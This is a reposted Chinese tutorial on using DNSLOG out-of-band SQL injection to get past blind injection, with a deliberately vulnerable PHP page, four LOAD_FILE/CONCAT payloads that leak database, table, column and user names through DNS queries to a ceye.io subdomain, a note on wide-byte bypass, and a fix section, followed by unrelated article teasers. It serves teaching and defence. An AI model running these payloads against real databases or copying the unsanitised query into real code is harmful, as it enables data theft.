利用DNSLOG注入突破无回显盲注

2023-12-03 01:08

本文主要是介绍利用DNSLOG注入突破无回显盲注,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

利用DNSLOG注入突破无回显盲注

      • 1、 SQL注入介绍
      • 2、 盲注PHP代码
      • 3、 DNSLOG注入测试
      • 4、 代码漏洞修复

1、 SQL注入介绍

  SQL注入介绍:SQL注入介绍
  注入产生原因:web应用程序对用户输入数据的合法性没有判断或过滤不严,导致恶意payload直接带入SQL语句执行,从而执行payload中非法操作!

2、 盲注PHP代码

  新建PHP文件,将下面代码复制到PHP文件中,在浏览器中访问即可

<?php
$host   = '127.0.0.1';
$dbuser = 'root';
$dbpass = 'root';
$dbname = 'test';$con = new mysqli($host, $dbuser, $dbpass, $dbname);
if ($con->connect_error) {die("Connect Failed: " . $con->connect_error);
}if (isset($_GET['id']) && !empty($_GET['id'])) {$id = $_GET['id'];
} else {die("Missing id parameter!");
}$sql    = "select id,title,content from t_feedback where id='$id' limit 0,1";
$result = $con->query($sql);if ($result->num_rows>0) {echo "Feedback with id found!" . "<br>";
} else {echo "Feedback with id found!" . "<br>";
}echo "Your SQL syntax: " . $sql;$con->close();

3、 DNSLOG注入测试

  dnslog注入需使用 ==load_file()==函数(需高权限),有自己的域名可以自己搭建dns域名解析,也可使用免费的 CEYE 平台,登录后在个人信息中会得到一个随机的二级域名 (Identifier) ,如下图:在这里插入图片描述
  通过 concat() 拼接函数,查询数据库名, xxx 为自己的二级域名,, 可自定义(也可不写),当语句执行后,在 CEYE DNS QUERY 界面便可查看爆出的数据库信息,关键payload:
if((SELECT LOAD_FILE(CONCAT(’\\’,(select database()),’—.xxx.ceye.io\abc’))),0,1)
在这里插入图片描述
  查询数据库表名,关键payload:
if((SELECT LOAD_FILE(CONCAT(’\\’,(select table_name from information_schema.tables where table_schema=‘test’ limit 1,1),’—.xxx.ceye.io\abc’))),0,1)
在这里插入图片描述
  查询数据库表列名信息,关键payload:
if((SELECT LOAD_FILE(CONCAT(’\\’,(select column_name from information_schema.columns where table_name=‘t_user’ limit 1,1),’—.xxx.ceye.io\abc’))),0,1)
在这里插入图片描述
  查询数据库表第一条用户信息,关键payload:
if((SELECT LOAD_FILE(CONCAT(’\\’,(select name from t_user limit 0,1),’—.xxx.ceye.io\abc’))),0,1)
在这里插入图片描述

4、 代码漏洞修复

  由于此处传入 id 值为 int 类型,SQL语句中 id 值拼接使用了 ,在mysql中, where id=‘1’ 会自动将id值转为int型,此处既可使用 intval() 函数将接收的参数值强制转换为 int 型,亦可防止特殊字符的输入。
  方法一:将$id = $_GET['id'];改为$id = intval($_GET['id']);即可。
  方法二:配置 php.ini 开启 magic_quotes_gpc 或使用PHP中 addslashes() 函数,转义特殊字符,防止注入。注意:若数据库字符编码为gbk可使用宽字节注入绕过,此脚本中,$id = $_GET['id'];改为$id = get_magic_quotes_gpc() ? $_GET['id'] : addslashes($_GET['id']);即可。为了防止宽字节绕过,可在连接数据库代码后加上$con->query("set names utf8");

  修改后PHP代码如下:

<?php
$host   = '127.0.0.1';
$dbuser = 'root';
$dbpass = 'root';
$dbname = 'test';$con = new mysqli($host, $dbuser, $dbpass, $dbname);
if ($con->connect_error) {die("Connect Failed: " . $con->connect_error);
}if (isset($_GET['id']) && !empty($_GET['id'])) {$id = intval($_GET['id']);
} else {die("Missing id parameter!");
}$sql    = "select id,title,content from t_feedback where id='$id' limit 0,1";
$result = $con->query($sql);if ($result->num_rows>0) {echo "Feedback with id found!" . "<br>";
} else {echo "Feedback with id found!" . "<br>";
}echo "Your SQL syntax: " . $sql;$con->close();
——舍心K

这篇关于利用DNSLOG注入突破无回显盲注的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/447535

相关文章

黑神话,XSKY 星飞全闪单卷性能突破310万

当下,云计算仍然是企业主要的基础架构,随着关键业务的逐步虚拟化和云化,对于块存储的性能要求也日益提高。企业对于低延迟、高稳定性的存储解决方案的需求日益迫切。为了满足这些日益增长的 IO 密集型应用场景,众多云服务提供商正在不断推陈出新,推出具有更低时延和更高 IOPS 性能的云硬盘产品。 8 月 22 日 2024 DTCC 大会上(第十五届中国数据库技术大会),XSKY星辰天合正式公布了基于星

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA

PHP防止SQL注入的方法(1)

(1)mysql_real_escape_string – 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='". mysql_r

Go 依赖注入库dig

简介 今天我们来介绍 Go 语言的一个依赖注入(DI)库——dig。dig 是 uber 开源的库。Java 依赖注入的库有很多,相信即使不是做 Java 开发的童鞋也听过大名鼎鼎的 Spring。相比庞大的 Spring,dig 很小巧,实现和使用都比较简洁。 快速使用 第三方库需要先安装,由于我们的示例中使用了前面介绍的go-ini和go-flags,这两个库也需要安装: $ go g

Web安全之SQL注入:如何预防及解决

SQL注入(SQL Injection)是最常见的Web应用漏洞之一,它允许攻击者通过注入恶意SQL代码来操作数据库,获取、修改或删除数据。作为Java开发者,理解并防止SQL注入攻击是至关重要的。在本篇文章中,我们将详细介绍SQL注入的原理,演示如何在电商交易系统中出现SQL注入漏洞,并提供正确的防范措施和解决方案。 1. 什么是SQL注入? SQL注入是一种通过在用户输入中嵌入恶意SQL代

网络安全(sql注入)

这里写目录标题 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表1. information_schema.schemata2. information_schema.tables 二. 判断注入类型1. 判断数字型还是字符型注入2. 判断注入闭合是""还是'' 三. 判

Java抽象类使用@Autowired注入实例

示例代码如下: 抽象类 public abstract class AbstractWaterMark {@Autowiredprivate AchievementApplicationService achievementApplicationService;public AchievementApplication queryByCode(String code){return achiev

MyBatis-Plus 框架 QueryWrapper UpdateWrapper 方法修复sql注入漏洞事件

什么是漏洞? 漏洞是指软件、系统或网络中存在的安全弱点或错误,这些弱点可能导致系统遭受攻击或被不当使用。在计算机安全领域,漏洞通常源于编程错误、设计缺陷或配置失误。 对于对象关系映射(ORM)框架来说,漏洞通常指的是设计或实施中的安全问题,这些问题可能让应用程序面临SQL注入攻击的风险。 SQL 注入漏洞 如果ORM框架在执行SQL操作时没有正确过滤或转义用户输入,攻击者可以利用输入的恶意数据

spring使用@Resource 注入map

spring使用@Resource 注入map 注入多个Service: /*** 单笔付款状态 MQ消费** @author zkg* @since 2024-09-06 16:11:19*/@Slf4j@Component@RocketMQMessageListener(topic = PayGlobalConstants.PAY_APPL_SINGLE_TOPIC, consume